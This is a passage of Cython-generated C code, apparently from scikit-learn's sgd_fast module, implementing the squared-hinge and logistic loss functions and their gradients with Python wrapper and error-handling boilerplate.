__pyx_lineno, __pyx_filename);\n  __pyx_r = NULL;\n  __pyx_L0:;\n  __Pyx_XGIVEREF(__pyx_r);\n  __Pyx_RefNannyFinishContext();\n  return __pyx_r;\n}\n\n/* \"sklearn/linear_model/sgd_fast.pyx\":188\n *         return 0.0\n * \n *     cpdef double dloss(self, double p, double y):             # <<<<<<<<<<<<<<\n *         cdef double z = self.threshold - p * y\n *         if z > 0:\n */\n\nstatic PyObject *__pyx_pw_7sklearn_12linear_model_8sgd_fast_12SquaredHinge_5dloss(PyObject *__pyx_v_self, PyObject *__pyx_args, PyObject *__pyx_kwds); /*proto*/\nstatic double __pyx_f_7sklearn_12linear_model_8sgd_fast_12SquaredHinge_dloss(struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_SquaredHinge *__pyx_v_self, double __pyx_v_p, double __pyx_v_y, int __pyx_skip_dispatch) {\n  double __pyx_v_z;\n  double __pyx_r;\n  __Pyx_RefNannyDeclarations\n  PyObject *__pyx_t_1 = NULL;\n  PyObject *__pyx_t_2 = NULL;\n  PyObject *__pyx_t_3 = NULL;\n  PyObject *__pyx_t_4 = NULL;\n  double __pyx_t_5;\n  int __pyx_t_6;\n  int __pyx_lineno = 0;\n  const char *__pyx_filename = NULL;\n  int __pyx_clineno = 0;\n  __Pyx_RefNannySetupContext(\"dloss\", 0);\n  /* Check if called by wrapper */\n  if (unlikely(__pyx_skip_dispatch)) ;\n  /* Check if overriden in Python */\n  else if (unlikely(Py_TYPE(((PyObject *)__pyx_v_self))->tp_dictoffset != 0)) {\n    __pyx_t_1 = PyObject_GetAttr(((PyObject *)__pyx_v_self), __pyx_n_s__dloss); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 188; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n    __Pyx_GOTREF(__pyx_t_1);\n    if (!PyCFunction_Check(__pyx_t_1) || (PyCFunction_GET_FUNCTION(__pyx_t_1) != (PyCFunction)__pyx_pw_7sklearn_12linear_model_8sgd_fast_12SquaredHinge_5dloss)) {\n      __pyx_t_2 = PyFloat_FromDouble(__pyx_v_p); if (unlikely(!__pyx_t_2)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 188; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_2);\n      __pyx_t_3 = PyFloat_FromDouble(__pyx_v_y); if (unlikely(!__pyx_t_3)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 188; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_3);\n      __pyx_t_4 = PyTuple_New(2); if (unlikely(!__pyx_t_4)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 188; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_4);\n      PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_2);\n      __Pyx_GIVEREF(__pyx_t_2);\n      PyTuple_SET_ITEM(__pyx_t_4, 1, __pyx_t_3);\n      __Pyx_GIVEREF(__pyx_t_3);\n      __pyx_t_2 = 0;\n      __pyx_t_3 = 0;\n      __pyx_t_3 = PyObject_Call(__pyx_t_1, ((PyObject *)__pyx_t_4), NULL); if (unlikely(!__pyx_t_3)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 188; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_3);\n      __Pyx_DECREF(((PyObject *)__pyx_t_4)); __pyx_t_4 = 0;\n      __pyx_t_5 = __pyx_PyFloat_AsDouble(__pyx_t_3); if (unlikely((__pyx_t_5 == (double)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 188; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0;\n      __pyx_r = __pyx_t_5;\n      __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;\n      goto __pyx_L0;\n    }\n    __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;\n  }\n\n  /* \"sklearn/linear_model/sgd_fast.pyx\":189\n * \n *     cpdef double dloss(self, double p, double y):\n *         cdef double z = self.threshold - p * y             # <<<<<<<<<<<<<<\n *         if z > 0:\n *             return -2 * y * z\n */\n  __pyx_v_z = (__pyx_v_self->threshold - (__pyx_v_p * __pyx_v_y));\n\n  /* \"sklearn/linear_model/sgd_fast.pyx\":190\n *     cpdef double dloss(self, double p, double y):\n *         cdef double z = self.threshold - p * y\n *         if z > 0:             # <<<<<<<<<<<<<<\n *             return -2 * y * z\n *         return 0.0\n */\n  __pyx_t_6 = (__pyx_v_z > 0.0);\n  if (__pyx_t_6) {\n\n    /* \"sklearn/linear_model/sgd_fast.pyx\":191\n *         cdef double z = self.threshold - p * y\n *         if z > 0:\n *             return -2 * y * z             # <<<<<<<<<<<<<<\n *         return 0.0\n * \n */\n    __pyx_r = ((-2.0 * __pyx_v_y) * __pyx_v_z);\n    goto __pyx_L0;\n    goto __pyx_L3;\n  }\n  __pyx_L3:;\n\n  /* \"sklearn/linear_model/sgd_fast.pyx\":192\n *         if z > 0:\n *             return -2 * y * z\n *         return 0.0             # <<<<<<<<<<<<<<\n * \n *     def __reduce__(self):\n */\n  __pyx_r = 0.0;\n  goto __pyx_L0;\n\n  __pyx_r = 0;\n  goto __pyx_L0;\n  __pyx_L1_error:;\n  __Pyx_XDECREF(__pyx_t_1);\n  __Pyx_XDECREF(__pyx_t_2);\n  __Pyx_XDECREF(__pyx_t_3);\n  __Pyx_XDECREF(__pyx_t_4);\n  __Pyx_WriteUnraisable(\"sklearn.linear_model.sgd_fast.SquaredHinge.dloss\", __pyx_clineno, __pyx_lineno, __pyx_filename);\n  __pyx_r = 0;\n  __pyx_L0:;\n  __Pyx_RefNannyFinishContext();\n  return __pyx_r;\n}\n\n/* Python wrapper */\nstatic PyObject *__pyx_pw_7sklearn_12linear_model_8sgd_fast_12SquaredHinge_5dloss(PyObject *__pyx_v_self, PyObject *__pyx_args, PyObject *__pyx_kwds); /*proto*/\nstatic PyObject *__pyx_pw_7sklearn_12linear_model_8sgd_fast_12SquaredHinge_5dloss(PyObject *__pyx_v_self, PyObject *__pyx_args, PyObject *__pyx_kwds) {\n  double __pyx_v_p;\n  double __pyx_v_y;\n  PyObject *__pyx_r = 0;\n  __Pyx_RefNannyDeclarations\n  __Pyx_RefNannySetupContext(\"dloss (wrapper)\", 0);\n  {\n    static PyObject **__pyx_pyargnames[] = {&__pyx_n_s__p,&__pyx_n_s__y,0};\n    PyObject* values[2] = {0,0};\n    if (unlikely(__pyx_kwds)) {\n      Py_ssize_t kw_args;\n      const Py_ssize_t pos_args = PyTuple_GET_SIZE(__pyx_args);\n      switch (pos_args) {\n        case  2: values[1] = PyTuple_GET_ITEM(__pyx_args, 1);\n        case  1: values[0] = PyTuple_GET_ITEM(__pyx_args, 0);\n        case  0: break;\n        default: goto __pyx_L5_argtuple_error;\n      }\n      kw_args = PyDict_Size(__pyx_kwds);\n      switch (pos_args) {\n        case  0:\n        if (likely((values[0] = PyDict_GetItem(__pyx_kwds, __pyx_n_s__p)) != 0)) kw_args--;\n        else goto __pyx_L5_argtuple_error;\n        case  1:\n        if (likely((values[1] = PyDict_GetItem(__pyx_kwds, __pyx_n_s__y)) != 0)) kw_args--;\n        else {\n          __Pyx_RaiseArgtupleInvalid(\"dloss\", 1, 2, 2, 1); {__pyx_filename = __pyx_f[0]; __pyx_lineno = 188; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n        }\n      }\n      if (unlikely(kw_args > 0)) {\n        if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_pyargnames, 0, values, pos_args, \"dloss\") < 0)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 188; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n      }\n    } else if (PyTuple_GET_SIZE(__pyx_args) != 2) {\n      goto __pyx_L5_argtuple_error;\n    } else {\n      values[0] = PyTuple_GET_ITEM(__pyx_args, 0);\n      values[1] = PyTuple_GET_ITEM(__pyx_args, 1);\n    }\n    __pyx_v_p = __pyx_PyFloat_AsDouble(values[0]); if (unlikely((__pyx_v_p == (double)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 188; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n    __pyx_v_y = __pyx_PyFloat_AsDouble(values[1]); if (unlikely((__pyx_v_y == (double)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 188; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n  }\n  goto __pyx_L4_argument_unpacking_done;\n  __pyx_L5_argtuple_error:;\n  __Pyx_RaiseArgtupleInvalid(\"dloss\", 1, 2, 2, PyTuple_GET_SIZE(__pyx_args)); {__pyx_filename = __pyx_f[0]; __pyx_lineno = 188; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n  __pyx_L3_error:;\n  __Pyx_AddTraceback(\"sklearn.linear_model.sgd_fast.SquaredHinge.dloss\", __pyx_clineno, __pyx_lineno, __pyx_filename);\n  __Pyx_RefNannyFinishContext();\n  return NULL;\n  __pyx_L4_argument_unpacking_done:;\n  __pyx_r = __pyx_pf_7sklearn_12linear_model_8sgd_fast_12SquaredHinge_4dloss(((struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_SquaredHinge *)__pyx_v_self), __pyx_v_p, __pyx_v_y);\n  __Pyx_RefNannyFinishContext();\n  return __pyx_r;\n}\n\n/* \"sklearn/linear_model/sgd_fast.pyx\":188\n *         return 0.0\n * \n *     cpdef double dloss(self, double p, double y):             # <<<<<<<<<<<<<<\n *         cdef double z = self.threshold - p * y\n *         if z > 0:\n */\n\nstatic PyObject *__pyx_pf_7sklearn_12linear_model_8sgd_fast_12SquaredHinge_4dloss(struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_SquaredHinge *__pyx_v_self, double __pyx_v_p, double __pyx_v_y) {\n  PyObject *__pyx_r = NULL;\n  __Pyx_RefNannyDeclarations\n  PyObject *__pyx_t_1 = NULL;\n  int __pyx_lineno = 0;\n  const char *__pyx_filename = NULL;\n  int __pyx_clineno = 0;\n  __Pyx_RefNannySetupContext(\"dloss\", 0);\n  __Pyx_XDECREF(__pyx_r);\n  __pyx_t_1 = PyFloat_FromDouble(((struct __pyx_vtabstruct_7sklearn_12linear_model_8sgd_fast_SquaredHinge *)__pyx_v_self->__pyx_base.__pyx_vtab)->__pyx_base.dloss(((struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_LossFunction *)__pyx_v_self), __pyx_v_p, __pyx_v_y, 1)); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 188; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __Pyx_GOTREF(__pyx_t_1);\n  __pyx_r = __pyx_t_1;\n  __pyx_t_1 = 0;\n  goto __pyx_L0;\n\n  __pyx_r = Py_None; __Pyx_INCREF(Py_None);\n  goto __pyx_L0;\n  __pyx_L1_error:;\n  __Pyx_XDECREF(__pyx_t_1);\n  __Pyx_AddTraceback(\"sklearn.linear_model.sgd_fast.SquaredHinge.dloss\", __pyx_clineno, __pyx_lineno, __pyx_filename);\n  __pyx_r = NULL;\n  __pyx_L0:;\n  __Pyx_XGIVEREF(__pyx_r);\n  __Pyx_RefNannyFinishContext();\n  return __pyx_r;\n}\n\n/* Python wrapper */\nstatic PyObject *__pyx_pw_7sklearn_12linear_model_8sgd_fast_12SquaredHinge_7__reduce__(PyObject *__pyx_v_self, CYTHON_UNUSED PyObject *unused); /*proto*/\nstatic PyObject *__pyx_pw_7sklearn_12linear_model_8sgd_fast_12SquaredHinge_7__reduce__(PyObject *__pyx_v_self, CYTHON_UNUSED PyObject *unused) {\n  PyObject *__pyx_r = 0;\n  __Pyx_RefNannyDeclarations\n  __Pyx_RefNannySetupContext(\"__reduce__ (wrapper)\", 0);\n  __pyx_r = __pyx_pf_7sklearn_12linear_model_8sgd_fast_12SquaredHinge_6__reduce__(((struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_SquaredHinge *)__pyx_v_self));\n  __Pyx_RefNannyFinishContext();\n  return __pyx_r;\n}\n\n/* \"sklearn/linear_model/sgd_fast.pyx\":194\n *         return 0.0\n * \n *     def __reduce__(self):             # <<<<<<<<<<<<<<\n *         return SquaredHinge, (self.threshold,)\n * \n */\n\nstatic PyObject *__pyx_pf_7sklearn_12linear_model_8sgd_fast_12SquaredHinge_6__reduce__(struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_SquaredHinge *__pyx_v_self) {\n  PyObject *__pyx_r = NULL;\n  __Pyx_RefNannyDeclarations\n  PyObject *__pyx_t_1 = NULL;\n  PyObject *__pyx_t_2 = NULL;\n  int __pyx_lineno = 0;\n  const char *__pyx_filename = NULL;\n  int __pyx_clineno = 0;\n  __Pyx_RefNannySetupContext(\"__reduce__\", 0);\n\n  /* \"sklearn/linear_model/sgd_fast.pyx\":195\n * \n *     def __reduce__(self):\n *         return SquaredHinge, (self.threshold,)             # <<<<<<<<<<<<<<\n * \n * \n */\n  __Pyx_XDECREF(__pyx_r);\n  __pyx_t_1 = PyFloat_FromDouble(__pyx_v_self->threshold); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 195; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __Pyx_GOTREF(__pyx_t_1);\n  __pyx_t_2 = PyTuple_New(1); if (unlikely(!__pyx_t_2)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 195; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __Pyx_GOTREF(__pyx_t_2);\n  PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_t_1);\n  __Pyx_GIVEREF(__pyx_t_1);\n  __pyx_t_1 = 0;\n  __pyx_t_1 = PyTuple_New(2); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 195; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __Pyx_GOTREF(__pyx_t_1);\n  __Pyx_INCREF(((PyObject *)((PyObject*)__pyx_ptype_7sklearn_12linear_model_8sgd_fast_SquaredHinge)));\n  PyTuple_SET_ITEM(__pyx_t_1, 0, ((PyObject *)((PyObject*)__pyx_ptype_7sklearn_12linear_model_8sgd_fast_SquaredHinge)));\n  __Pyx_GIVEREF(((PyObject *)((PyObject*)__pyx_ptype_7sklearn_12linear_model_8sgd_fast_SquaredHinge)));\n  PyTuple_SET_ITEM(__pyx_t_1, 1, ((PyObject *)__pyx_t_2));\n  __Pyx_GIVEREF(((PyObject *)__pyx_t_2));\n  __pyx_t_2 = 0;\n  __pyx_r = ((PyObject *)__pyx_t_1);\n  __pyx_t_1 = 0;\n  goto __pyx_L0;\n\n  __pyx_r = Py_None; __Pyx_INCREF(Py_None);\n  goto __pyx_L0;\n  __pyx_L1_error:;\n  __Pyx_XDECREF(__pyx_t_1);\n  __Pyx_XDECREF(__pyx_t_2);\n  __Pyx_AddTraceback(\"sklearn.linear_model.sgd_fast.SquaredHinge.__reduce__\", __pyx_clineno, __pyx_lineno, __pyx_filename);\n  __pyx_r = NULL;\n  __pyx_L0:;\n  __Pyx_XGIVEREF(__pyx_r);\n  __Pyx_RefNannyFinishContext();\n  return __pyx_r;\n}\n\n/* \"sklearn/linear_model/sgd_fast.pyx\":201\n *     \"\"\"Logistic regression loss for binary classification with y in {-1, 1}\"\"\"\n * \n *     cpdef double loss(self, double p, double y):             # <<<<<<<<<<<<<<\n *         cdef double z = p * y\n *         # approximately equal and saves the computation of the log\n */\n\nstatic PyObject *__pyx_pw_7sklearn_12linear_model_8sgd_fast_3Log_1loss(PyObject *__pyx_v_self, PyObject *__pyx_args, PyObject *__pyx_kwds); /*proto*/\nstatic double __pyx_f_7sklearn_12linear_model_8sgd_fast_3Log_loss(CYTHON_UNUSED struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_Log *__pyx_v_self, double __pyx_v_p, double __pyx_v_y, int __pyx_skip_dispatch) {\n  double __pyx_v_z;\n  double __pyx_r;\n  __Pyx_RefNannyDeclarations\n  PyObject *__pyx_t_1 = NULL;\n  PyObject *__pyx_t_2 = NULL;\n  PyObject *__pyx_t_3 = NULL;\n  PyObject *__pyx_t_4 = NULL;\n  double __pyx_t_5;\n  int __pyx_t_6;\n  int __pyx_lineno = 0;\n  const char *__pyx_filename = NULL;\n  int __pyx_clineno = 0;\n  __Pyx_RefNannySetupContext(\"loss\", 0);\n  /* Check if called by wrapper */\n  if (unlikely(__pyx_skip_dispatch)) ;\n  /* Check if overriden in Python */\n  else if (unlikely(Py_TYPE(((PyObject *)__pyx_v_self))->tp_dictoffset != 0)) {\n    __pyx_t_1 = PyObject_GetAttr(((PyObject *)__pyx_v_self), __pyx_n_s__loss); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 201; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n    __Pyx_GOTREF(__pyx_t_1);\n    if (!PyCFunction_Check(__pyx_t_1) || (PyCFunction_GET_FUNCTION(__pyx_t_1) != (PyCFunction)__pyx_pw_7sklearn_12linear_model_8sgd_fast_3Log_1loss)) {\n      __pyx_t_2 = PyFloat_FromDouble(__pyx_v_p); if (unlikely(!__pyx_t_2)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 201; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_2);\n      __pyx_t_3 = PyFloat_FromDouble(__pyx_v_y); if (unlikely(!__pyx_t_3)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 201; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_3);\n      __pyx_t_4 = PyTuple_New(2); if (unlikely(!__pyx_t_4)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 201; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_4);\n      PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_2);\n      __Pyx_GIVEREF(__pyx_t_2);\n      PyTuple_SET_ITEM(__pyx_t_4, 1, __pyx_t_3);\n      __Pyx_GIVEREF(__pyx_t_3);\n      __pyx_t_2 = 0;\n      __pyx_t_3 = 0;\n      __pyx_t_3 = PyObject_Call(__pyx_t_1, ((PyObject *)__pyx_t_4), NULL); if (unlikely(!__pyx_t_3)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 201; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_3);\n      __Pyx_DECREF(((PyObject *)__pyx_t_4)); __pyx_t_4 = 0;\n      __pyx_t_5 = __pyx_PyFloat_AsDouble(__pyx_t_3); if (unlikely((__pyx_t_5 == (double)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 201; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0;\n      __pyx_r = __pyx_t_5;\n      __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;\n      goto __pyx_L0;\n    }\n    __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;\n  }\n\n  /* \"sklearn/linear_model/sgd_fast.pyx\":202\n * \n *     cpdef double loss(self, double p, double y):\n *         cdef double z = p * y             # <<<<<<<<<<<<<<\n *         # approximately equal and saves the computation of the log\n *         if z > 18:\n */\n  __pyx_v_z = (__pyx_v_p * __pyx_v_y);\n\n  /* \"sklearn/linear_model/sgd_fast.pyx\":204\n *         cdef double z = p * y\n *         # approximately equal and saves the computation of the log\n *         if z > 18:             # <<<<<<<<<<<<<<\n *             return exp(-z)\n *         if z < -18:\n */\n  __pyx_t_6 = (__pyx_v_z > 18.0);\n  if (__pyx_t_6) {\n\n    /* \"sklearn/linear_model/sgd_fast.pyx\":205\n *         # approximately equal and saves the computation of the log\n *         if z > 18:\n *             return exp(-z)             # <<<<<<<<<<<<<<\n *         if z < -18:\n *             return -z\n */\n    __pyx_r = exp((-__pyx_v_z));\n    goto __pyx_L0;\n    goto __pyx_L3;\n  }\n  __pyx_L3:;\n\n  /* \"sklearn/linear_model/sgd_fast.pyx\":206\n *         if z > 18:\n *             return exp(-z)\n *         if z < -18:             # <<<<<<<<<<<<<<\n *             return -z\n *         return log(1.0 + exp(-z))\n */\n  __pyx_t_6 = (__pyx_v_z < -18.0);\n  if (__pyx_t_6) {\n\n    /* \"sklearn/linear_model/sgd_fast.pyx\":207\n *             return exp(-z)\n *         if z < -18:\n *             return -z             # <<<<<<<<<<<<<<\n *         return log(1.0 + exp(-z))\n * \n */\n    __pyx_r = (-__pyx_v_z);\n    goto __pyx_L0;\n    goto __pyx_L4;\n  }\n  __pyx_L4:;\n\n  /* \"sklearn/linear_model/sgd_fast.pyx\":208\n *         if z < -18:\n *             return -z\n *         return log(1.0 + exp(-z))             # <<<<<<<<<<<<<<\n * \n *     cpdef double dloss(self, double p, double y):\n */\n  __pyx_r = log((1.0 + exp((-__pyx_v_z))));\n  goto __pyx_L0;\n\n  __pyx_r = 0;\n  goto __pyx_L0;\n  __pyx_L1_error:;\n  __Pyx_XDECREF(__pyx_t_1);\n  __Pyx_XDECREF(__pyx_t_2);\n  __Pyx_XDECREF(__pyx_t_3);\n  __Pyx_XDECREF(__pyx_t_4);\n  __Pyx_WriteUnraisable(\"sklearn.linear_model.sgd_fast.Log.loss\", __pyx_clineno, __pyx_lineno, __pyx_filename);\n  __pyx_r = 0;\n  __pyx_L0:;\n  __Pyx_RefNannyFinishContext();\n  return __pyx_r;\n}\n\n/* Python wrapper */\nstatic PyObject *__pyx_pw_7sklearn_12linear_model_8sgd_fast_3Log_1loss(PyObject *__pyx_v_self, PyObject *__pyx_args, PyObject *__pyx_kwds); /*proto*/\nstatic PyObject *__pyx_pw_7sklearn_12linear_model_8sgd_fast_3Log_1loss(PyObject *__pyx_v_self, PyObject *__pyx_args, PyObject *__pyx_kwds) {\n  double __pyx_v_p;\n  double __pyx_v_y;\n  PyObject *__pyx_r = 0;\n  __Pyx_RefNannyDeclarations\n  __Pyx_RefNannySetupContext(\"loss (wrapper)\", 0);\n  {\n    static PyObject **__pyx_pyargnames[] = {&__pyx_n_s__p,&__pyx_n_s__y,0};\n    PyObject* values[2] = {0,0};\n    if (unlikely(__pyx_kwds)) {\n      Py_ssize_t kw_args;\n      const Py_ssize_t pos_args = PyTuple_GET_SIZE(__pyx_args);\n      switch (pos_args) {\n        case  2: values[1] = PyTuple_GET_ITEM(__pyx_args, 1);\n        case  1: values[0] = PyTuple_GET_ITEM(__pyx_args, 0);\n        case  0: break;\n        default: goto __pyx_L5_argtuple_error;\n      }\n      kw_args = PyDict_Size(__pyx_kwds);\n      switch (pos_args) {\n        case  0:\n        if (likely((values[0] = PyDict_GetItem(__pyx_kwds, __pyx_n_s__p)) != 0)) kw_args--;\n        else goto __pyx_L5_argtuple_error;\n        case  1:\n        if (likely((values[1] = PyDict_GetItem(__pyx_kwds, __pyx_n_s__y)) != 0)) kw_args--;\n        else {\n          __Pyx_RaiseArgtupleInvalid(\"loss\", 1, 2, 2, 1); {__pyx_filename = __pyx_f[0]; __pyx_lineno = 201; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n        }\n      }\n      if (unlikely(kw_args > 0)) {\n        if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_pyargnames, 0, values, pos_args, \"loss\") < 0)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 201; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n      }\n    } else if (PyTuple_GET_SIZE(__pyx_args) != 2) {\n      goto __pyx_L5_argtuple_error;\n    } else {\n      values[0] = PyTuple_GET_ITEM(__pyx_args, 0);\n      values[1] = PyTuple_GET_ITEM(__pyx_args, 1);\n    }\n    __pyx_v_p = __pyx_PyFloat_AsDouble(values[0]); if (unlikely((__pyx_v_p == (double)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 201; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n    __pyx_v_y = __pyx_PyFloat_AsDouble(values[1]); if (unlikely((__pyx_v_y == (double)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 201; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n  }\n  goto __pyx_L4_argument_unpacking_done;\n  __pyx_L5_argtuple_error:;\n  __Pyx_RaiseArgtupleInvalid(\"loss\", 1, 2, 2, PyTuple_GET_SIZE(__pyx_args)); {__pyx_filename = __pyx_f[0]; __pyx_lineno = 201; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n  __pyx_L3_error:;\n  __Pyx_AddTraceback(\"sklearn.linear_model.sgd_fast.Log.loss\", __pyx_clineno, __pyx_lineno, __pyx_filename);\n  __Pyx_RefNannyFinishContext();\n  return NULL;\n  __pyx_L4_argument_unpacking_done:;\n  __pyx_r = __pyx_pf_7sklearn_12linear_model_8sgd_fast_3Log_loss(((struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_Log *)__pyx_v_self), __pyx_v_p, __pyx_v_y);\n  __Pyx_RefNannyFinishContext();\n  return __pyx_r;\n}\n\n/* \"sklearn/linear_model/sgd_fast.pyx\":201\n *     \"\"\"Logistic regression loss for binary classification with y in {-1, 1}\"\"\"\n * \n *     cpdef double loss(self, double p, double y):             # <<<<<<<<<<<<<<\n *         cdef double z = p * y\n *         # approximately equal and saves the computation of the log\n */\n\nstatic PyObject *__pyx_pf_7sklearn_12linear_model_8sgd_fast_3Log_loss(struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_Log *__pyx_v_self, double __pyx_v_p, double __pyx_v_y) {\n  PyObject *__pyx_r = NULL;\n  __Pyx_RefNannyDeclarations\n  PyObject *__pyx_t_1 = NULL;\n  int __pyx_lineno = 0;\n  const char *__pyx_filename = NULL;\n  int __pyx_clineno = 0;\n  __Pyx_RefNannySetupContext(\"loss\", 0);\n  __Pyx_XDECREF(__pyx_r);\n  __pyx_t_1 = PyFloat_FromDouble(((struct __pyx_vtabstruct_7sklearn_12linear_model_8sgd_fast_Log *)__pyx_v_self->__pyx_base.__pyx_base.__pyx_vtab)->__pyx_base.__pyx_base.loss(((struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_LossFunction *)__pyx_v_self), __pyx_v_p, __pyx_v_y, 1)); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 201; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __Pyx_GOTREF(__pyx_t_1);\n  __pyx_r = __pyx_t_1;\n  __pyx_t_1 = 0;\n  goto __pyx_L0;\n\n  __pyx_r = Py_None; __Pyx_INCREF(Py_None);\n  goto __pyx_L0;\n  __pyx_L1_error:;\n  __Pyx_XDECREF(__pyx_t_1);\n  __Pyx_AddTraceback(\"sklearn.linear_model.sgd_fast.Log.loss\", __pyx_clineno, __pyx_lineno, __pyx_filename);\n  __pyx_r = NULL;\n  __pyx_L0:;\n  __Pyx_XGIVEREF(__pyx_r);\n  __Pyx_RefNannyFinishContext();\n  return __pyx_r;\n}\n\n/* \"sklearn/linear_model/sgd_fast.pyx\":210\n *         return log(1.0 + exp(-z))\n * \n *     cpdef double dloss(self, double p, double y):             # <<<<<<<<<<<<<<\n *         cdef double z = p * y\n *         # approximately equal and saves the computation of the log\n */\n\nstatic PyObject *__pyx_pw_7sklearn_12linear_model_8sgd_fast_3Log_3dloss(PyObject *__pyx_v_self, PyObject *__pyx_args, PyObject *__pyx_kwds); /*proto*/\nstatic double __pyx_f_7sklearn_12linear_model_8sgd_fast_3Log_dloss(CYTHON_UNUSED struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_Log *__pyx_v_self, double __pyx_v_p, double __pyx_v_y, int __pyx_skip_dispatch) {\n  double __pyx_v_z;\n  double __pyx_r;\n  __Pyx_RefNannyDeclarations\n  PyObject *__pyx_t_1 = NULL;\n  PyObject *__pyx_t_2 = NULL;\n  PyObject *__pyx_t_3 = NULL;\n  PyObject *__pyx_t_4 = NULL;\n  double __pyx_t_5;\n  int __pyx_t_6;\n  int __pyx_lineno = 0;\n  const char *__pyx_filename = NULL;\n  int __pyx_clineno = 0;\n  __Pyx_RefNannySetupContext(\"dloss\", 0);\n  /* Check if called by wrapper */\n  if (unlikely(__pyx_skip_dispatch)) ;\n  /* Check if overriden in Python */\n  else if (unlikely(Py_TYPE(((PyObject *)__pyx_v_self))->tp_dictoffset != 0)) {\n    __pyx_t_1 = PyObject_GetAttr(((PyObject *)__pyx_v_self), __pyx_n_s__dloss); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 210; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n    __Pyx_GOTREF(__pyx_t_1);\n    if (!PyCFunction_Check(__pyx_t_1) || (PyCFunction_GET_FUNCTION(__pyx_t_1) != (PyCFunction)__pyx_pw_7sklearn_12linear_model_8sgd_fast_3Log_3dloss)) {\n      __pyx_t_2 = PyFloat_FromDouble(__pyx_v_p); if (unlikely(!__pyx_t_2)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 210; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_2);\n      __pyx_t_3 = PyFloat_FromDouble(__pyx_v_y); if (unlikely(!__pyx_t_3)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 210; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      